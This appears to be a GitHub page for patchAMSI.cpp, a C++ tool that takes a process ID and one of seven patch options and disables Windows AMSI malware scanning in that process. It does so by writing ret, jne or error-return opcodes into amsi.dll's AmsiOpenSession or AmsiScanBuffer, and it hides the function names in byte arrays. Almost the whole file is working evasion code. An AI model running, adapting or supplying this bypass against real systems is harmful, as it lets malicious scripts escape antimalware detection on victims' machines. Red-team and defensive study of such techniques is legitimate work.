-
Notifications
You must be signed in to change notification settings - Fork 11
/
patchAMSI.cpp
470 lines (377 loc) · 18.2 KB
/
patchAMSI.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
/* Thanks to Saad!!
* Code Snippet was shared to me By Saad aka @D1rkMtr (https://twitter.com/D1rkMtr/)
* I added Some other patches based on my Small research using Windbg.
*/
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
unsigned char ams1[] = { 'a','m','s','i','.','d','l','l', 0x0 };
unsigned char ams10pen[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n', 0x0 };
unsigned char ams15can[] = { 'A','m','s','i','S','c','a','n','B','u','f','f','e','r', 0x0};
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
/*
DWORD64 GetAddr(LPVOID addr) {
for (int i = 0; i < 1024; i++) {
if (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i;
}
}
*/
// Technique by Saad aka @D1rkMtr (https://twitter.com/D1rkMtr/) (https://github.com/TheD1rkMtr/AMSI_patch)
// 1
void AMS1patch_OpenSession_jne(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams10pen);
char Patch[100];
ZeroMemory(Patch, 100);
// Pasting jne opcode
lstrcatA(Patch, "\x75");
printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)Patch);
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the 3rd offset of the amsi!OpenSession
void* ptraddr = (void*)((DWORD64)ptr + 0x3);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr + 0x3), (PVOID)Patch, 1, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tSkipping entering `amsi!AmsiOpenSession+0x4c` via `jne`, if all instructions succeed before the calling of `jne`\n\t=> We would end up directly to `amsi!AmsiCloseSession`.\n\n");
}
// 2
void AMS1patch_OpenSession_ret(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams10pen);
char Patch[100];
ZeroMemory(Patch, 100);
// Pasting ret opcode
lstrcatA(Patch, "\xc3");
printf("\n[+] The Patch : %p\n", *(INT_PTR*)Patch);
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the opening of amsi!OpenSession
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
// Allocating memory at the Beginning of the amsi!OpenSession for edting
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tSkipping entering `amsi!AmsiOpenSession+0x4c` via `ret`, by directly pasting `c3` at the beginning of the `amsi!AmsiOpenSession`\n\t=> We would end up directly to `amsi!AmsiCloseSession`.\n\n");
}
// 3
void AMS1patch_ScanBuffer_ret(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams15can);
char Patch[100];
ZeroMemory(Patch, 100);
// Pasting ret opcode
lstrcatA(Patch, "\xc3");
printf("\n[+] The Patch : %p\n", *(INT_PTR*)Patch);
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the opening of amsi!ScanBuffer
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1))
{
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tSkipping the execution of the main intructions of `amsi!AmsiScanBuffer` via `ret`, by directly pasting `c3` at the beginning of the `amsi!AmsiScanBuffer`\n\n");
}
// 4
void AMS1patch_RastaMouse(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams15can);
//char Patch[100];
//ZeroMemory(Patch, 100);
printf("\n[+] Here, the value (rather error Value) of HRESULT being 'E_INVALIDARG'\tSource: https://pre.empt.dev/posts/maelstrom-etw-amsi/#Historic_AMSI_Bypasses\n");
// Pasting ret opcode
//lstrcatA(Patch, "\xB8\x57\x00\x07\x80\xC3");
// Little Endian
printf("[+] The Patch : %p\n", *(INT_PTR*)"\xB8\x57\x00\x07\x80\xC3");
//lstrcatA(Patch, "\x00\x57\xB8");
//lstrcatA(Patch, "\xB8\x57\x00\x07");
//printf("[+] The Patch : %p\n", *(INT_PTR*)Patch);
//lstrcatA(Patch, "\x80\xc3");
//printf("[+] The Patch : %p\n", *(LONG_PTR*)Patch);
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the opening of amsi!ScanBuffer
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)"\xB8\x57\x00\x07\x80\xC3", 6, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tBypassing the branch that does the actual scanning in `amsi!AmsiScanBuffer` and returns, by directly pasting `\\xB8\\x57\\x00\\x07\\x80\\xC3` ('mov eax, 0x80070057; ret') at the beginning of the `amsi!AmsiScanBuffer`\n\n");
}
// 5
void AMS1patch_E_ACCESSDENIED(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams15can);
//char Patch[100];
//ZeroMemory(Patch, 100);
printf("[+] Here, the value (rather error Value) of HRESULT being 'E_ACCESSDENIED'\tSource: https://pre.empt.dev/posts/maelstrom-etw-amsi/#Historic_AMSI_Bypasses\n");
// Pasting ret opcode
//lstrcatA(Patch, "\xB8\x05\x00\x07\x80\xC3");
// Little Endian
printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)"\xB8\x05\x00\x07\x80\xC3");
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the opening of amsi!ScanBuffer
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)"\xB8\x05\x00\x07\x80\xC3", 6, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tBypassing the branch that does the actual scanning in `amsi!AmsiScanBuffer` and returns, by directly pasting `\\xB8\\x05\\x00\\x07\\x80\\xC3` ('mov eax, 0x80070005; ret') at the beginning of the `amsi!AmsiScanBuffer`\n\n");
}
// 6
void AMS1patch_E_HANDLE(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams15can);
//char Patch[100];
//ZeroMemory(Patch, 100);
printf("[+] Here, the value (rather error Value) of HRESULT being 'E_HANDLE'\tSource: https://pre.empt.dev/posts/maelstrom-etw-amsi/#Historic_AMSI_Bypasses\n");
// Pasting ret opcode
//lstrcatA(Patch, "\xB8\x06\x00\x07\x80\xC3");
// Little Endian
printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)"\xB8\x06\x00\x07\x80\xC3");
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Editing Target: Pointer to the opening of amsi!ScanBuffer
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)"\xB8\x06\x00\x07\x80\xC3", 6, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tBypassing the branch that does the actual scanning in `amsi!AmsiScanBuffer` and returns, by directly pasting `\\xB8\\x06\\x00\\x07\\x80\\xC3` ('mov eax, 0x80070006; ret') at the beginning of the `amsi!AmsiScanBuffer`\n\n");
}
// 7
void AMS1patch_E_OUTOFMEMORY(HANDLE hproc)
{
void* ptr = GetProcAddress(LoadLibraryA((LPCSTR)ams1), (LPCSTR)ams15can);
//char Patch[100];
//ZeroMemory(Patch, 100);
// Pasting ret opcode
//lstrcatA(Patch, "\xB8\x0E\x00\x07\x80\xC3");
printf("[+] Here, the value (rather error Value) of HRESULT being 'E_OUTOFMEMORY'\tSource: https://pre.empt.dev/posts/maelstrom-etw-amsi/#Historic_AMSI_Bypasses\n");
printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)"\xB8\x0E\x00\x07\x80\xC3");
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
// Edting the Beginning of the amsi!ScanBuffer
void* ptraddr = (void*)((DWORD64)ptr);
//void* ptraddr2 = (void*)GetAddr(ptr);
printf("Starting Address of the Function: 0x%p\t%p\t\n", ptr, *(DWORD64*)(DWORD64)ptr);
printf("Target Address of the function to Edit: 0x%p\t%p\t\n", ptraddr, *(DWORD64*)(DWORD64)ptraddr);
//printf("0x%p\t%p\t\n", ptraddr2, *(DWORD64*)(DWORD64)ptraddr2);
//NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
// OUT PVOID*
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
//NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)nullptr);
// IN PVOID
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)((DWORD64)ptr), (PVOID)"\xB8\x0E\x00\x07\x80\xC3", 6, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
//NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
return;
}
printf("\n[+] AMS1 patched\n\tBypassing the branch that does the actual scanning in `amsi!AmsiScanBuffer` and returns, by directly pasting `\\xB8\\x0E\\x00\\x07\\x80\\xC3` ('mov eax, 0x8007000E; ret') at the beginning of the `amsi!AmsiScanBuffer`\n\n");
}
int main(int argc, char** argv)
{
HANDLE hproc;
if (argc != 3)
{
printf("\nUSAGE: .\\%s <PID> <patch type>\n", argv[0]);
printf("\n[1] patch_via_OpenSession_jne\n[2] patch_via_OpenSession_ret\n[3] patch_via_ScanBuffer_ret\n[4] patch_via_@RastaMouse\n[5] patch_via_E_ACCESSDENIED_error_code\n[6] patch_via_E_HANDLE_error_code\n[7] patch_via_E_OUTOFMEMORY_error_code\n\n");
return 1;
}
hproc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
if (!hproc)
{
printf("Failed in OpenProcess (%u)\n", GetLastError());
return 2;
}
if ((DWORD)atoi(argv[2]) == 1)
{
AMS1patch_OpenSession_jne(hproc);
}
else if ((DWORD)atoi(argv[2]) == 2)
{
AMS1patch_OpenSession_ret(hproc);
}
else if ((DWORD)atoi(argv[2]) == 3)
{
AMS1patch_ScanBuffer_ret(hproc);
}
else if ((DWORD)atoi(argv[2]) == 4)
{
AMS1patch_RastaMouse(hproc);
}
else if ((DWORD)atoi(argv[2]) == 5)
{
AMS1patch_E_ACCESSDENIED(hproc);
}
else if ((DWORD)atoi(argv[2]) == 6)
{
AMS1patch_E_HANDLE(hproc);
}
else if ((DWORD)atoi(argv[2]) == 7)
{
AMS1patch_E_OUTOFMEMORY(hproc);
}
else
{
printf("[!] Wrong Option");
}
return 0;
}